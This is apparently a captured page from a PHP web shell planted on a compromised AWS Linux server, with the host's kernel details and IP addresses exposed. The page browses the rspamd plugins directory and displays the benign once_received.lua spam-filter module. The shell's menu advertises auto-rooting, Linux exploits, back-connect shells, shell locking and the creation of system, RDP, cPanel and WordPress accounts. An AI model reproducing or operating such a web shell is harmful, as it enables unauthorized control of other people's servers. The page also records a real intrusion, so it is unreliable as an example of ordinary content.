Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 3.143.115.168
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
rspamd /
plugins /
[ HOME SHELL ]
Name
Size
Permission
Action
antivirus.lua
11.24
KB
-rw-r--r--
arc.lua
26.72
KB
-rw-r--r--
asn.lua
4.78
KB
-rw-r--r--
aws_s3.lua
7.93
KB
-rw-r--r--
bayes_expiry.lua
14.21
KB
-rw-r--r--
bimi.lua
11.5
KB
-rw-r--r--
clickhouse.lua
49.6
KB
-rw-r--r--
clustering.lua
9.16
KB
-rw-r--r--
dcc.lua
3.19
KB
-rw-r--r--
dkim_signing.lua
5.25
KB
-rw-r--r--
dmarc.lua
21.89
KB
-rw-r--r--
dynamic_conf.lua
8.7
KB
-rw-r--r--
elastic.lua
54.28
KB
-rw-r--r--
emails.lua
128
B
-rw-r--r--
external_relay.lua
7.89
KB
-rw-r--r--
external_services.lua
12.3
KB
-rw-r--r--
force_actions.lua
7.67
KB
-rw-r--r--
forged_recipients.lua
5.32
KB
-rw-r--r--
fuzzy_collect.lua
5.46
KB
-rw-r--r--
gpt.lua
11.32
KB
-rw-r--r--
greylist.lua
16.36
KB
-rw-r--r--
hfilter.lua
16.15
KB
-rw-r--r--
history_redis.lua
9.31
KB
-rw-r--r--
http_headers.lua
6.46
KB
-rw-r--r--
ip_score.lua
130
B
-rw-r--r--
known_senders.lua
13.2
KB
-rw-r--r--
maillist.lua
6.55
KB
-rw-r--r--
maps_stats.lua
3.7
KB
-rw-r--r--
metadata_exporter.lua
20.19
KB
-rw-r--r--
metric_exporter.lua
6.4
KB
-rw-r--r--
mid.lua
3.58
KB
-rw-r--r--
milter_headers.lua
21
KB
-rw-r--r--
mime_types.lua
20.09
KB
-rw-r--r--
multimap.lua
40.08
KB
-rw-r--r--
mx_check.lua
11.42
KB
-rw-r--r--
neural.lua
32.82
KB
-rw-r--r--
once_received.lua
4.76
KB
-rw-r--r--
p0f.lua
2.88
KB
-rw-r--r--
phishing.lua
19.33
KB
-rw-r--r--
ratelimit.lua
22.77
KB
-rw-r--r--
rbl.lua
40.09
KB
-rw-r--r--
replies.lua
13.69
KB
-rw-r--r--
reputation.lua
39.69
KB
-rw-r--r--
rspamd_update.lua
4.07
KB
-rw-r--r--
settings.lua
40.17
KB
-rw-r--r--
spamassassin.lua
48.89
KB
-rw-r--r--
spamtrap.lua
5.87
KB
-rw-r--r--
spf.lua
7.49
KB
-rw-r--r--
trie.lua
4.89
KB
-rw-r--r--
url_redirector.lua
13.42
KB
-rw-r--r--
whitelist.lua
11.54
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : once_received.lua
--[[ Copyright (c) 2022, Vsevolod Stakhov <vsevolod@rspamd.com> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ]]-- if confighelp then return end -- 0 or 1 received: = spam local symbol = 'ONCE_RECEIVED' local symbol_mx = 'DIRECT_TO_MX' -- Symbol for strict checks local symbol_strict = nil local bad_hosts = {} local good_hosts = {} local whitelist = nil local rspamd_logger = require "rspamd_logger" local lua_util = require "lua_util" local fun = require "fun" local N = 'once_received' local check_local = false local check_authed = false local function check_quantity_received (task) local recvh = task:get_received_headers() local nreceived = fun.reduce(function(acc, _) return acc + 1 end, 0, fun.filter(function(h) return not h['flags']['artificial'] end, recvh)) local task_ip = task:get_ip() if ((not check_authed and task:get_user()) or (not check_local and task_ip and task_ip:is_local())) then rspamd_logger.infox(task, 'Skipping once_received for authenticated user or local network') return end if whitelist and task_ip and whitelist:get_key(task_ip) then rspamd_logger.infox(task, 'whitelisted mail from %s', task_ip:to_string()) return end local hn = task:get_hostname() -- Here we don't care about received if not hn then if nreceived <= 1 then task:insert_result(symbol, 1) -- Avoid strict symbol inserting as the remaining symbols have already -- quote a significant weight, so a message could be rejected by just -- this property. --task:insert_result(symbol_strict, 1) -- Check for MUAs local ua = task:get_header('User-Agent') local xm = task:get_header('X-Mailer') if (ua or xm) then task:insert_result(symbol_mx, 1, (ua or xm)) end end return else if good_hosts then for _, gh in ipairs(good_hosts) do if string.find(hn, gh) then return end end end if nreceived <= 1 then task:insert_result(symbol, 1) for _, h in ipairs(bad_hosts) do if string.find(hn, h) then task:insert_result(symbol_strict, 1, h) break end end end end if nreceived <= 1 then local ret = true local r = recvh[1] if not r then return end if r['real_hostname'] then local rhn = string.lower(r['real_hostname']) -- Check for good hostname if rhn and good_hosts then for _, gh in ipairs(good_hosts) do if string.find(rhn, gh) then ret = false break end end end end if ret then -- Strict checks if symbol_strict then -- Unresolved host task:insert_result(symbol, 1) if not hn then return end for _, h in ipairs(bad_hosts) do if string.find(hn, h) then task:insert_result(symbol_strict, 1, h) return end end else task:insert_result(symbol, 1) end end end end local auth_and_local_conf = lua_util.config_check_local_or_authed(rspamd_config, N, false, false) check_local = auth_and_local_conf[1] check_authed = auth_and_local_conf[2] -- Configuration local opts = rspamd_config:get_all_opt(N) if opts then if opts['symbol'] then symbol = opts['symbol'] local id = rspamd_config:register_symbol({ name = symbol, callback = check_quantity_received, }) for n, v in pairs(opts) do if n == 'symbol_strict' then symbol_strict = v elseif n == 'bad_host' then if type(v) == 'string' then bad_hosts[1] = v else bad_hosts = v end elseif n == 'good_host' then if type(v) == 'string' then good_hosts[1] = v else good_hosts = v end elseif n == 'whitelist' then local lua_maps = require "lua_maps" whitelist = lua_maps.map_add('once_received', 'whitelist', 'radix', 'once received whitelist') elseif n == 'symbol_mx' then symbol_mx = v end end rspamd_config:register_symbol({ name = symbol_strict, type = 'virtual', parent = id }) rspamd_config:register_symbol({ name = symbol_mx, type = 'virtual', parent = id }) end end
Close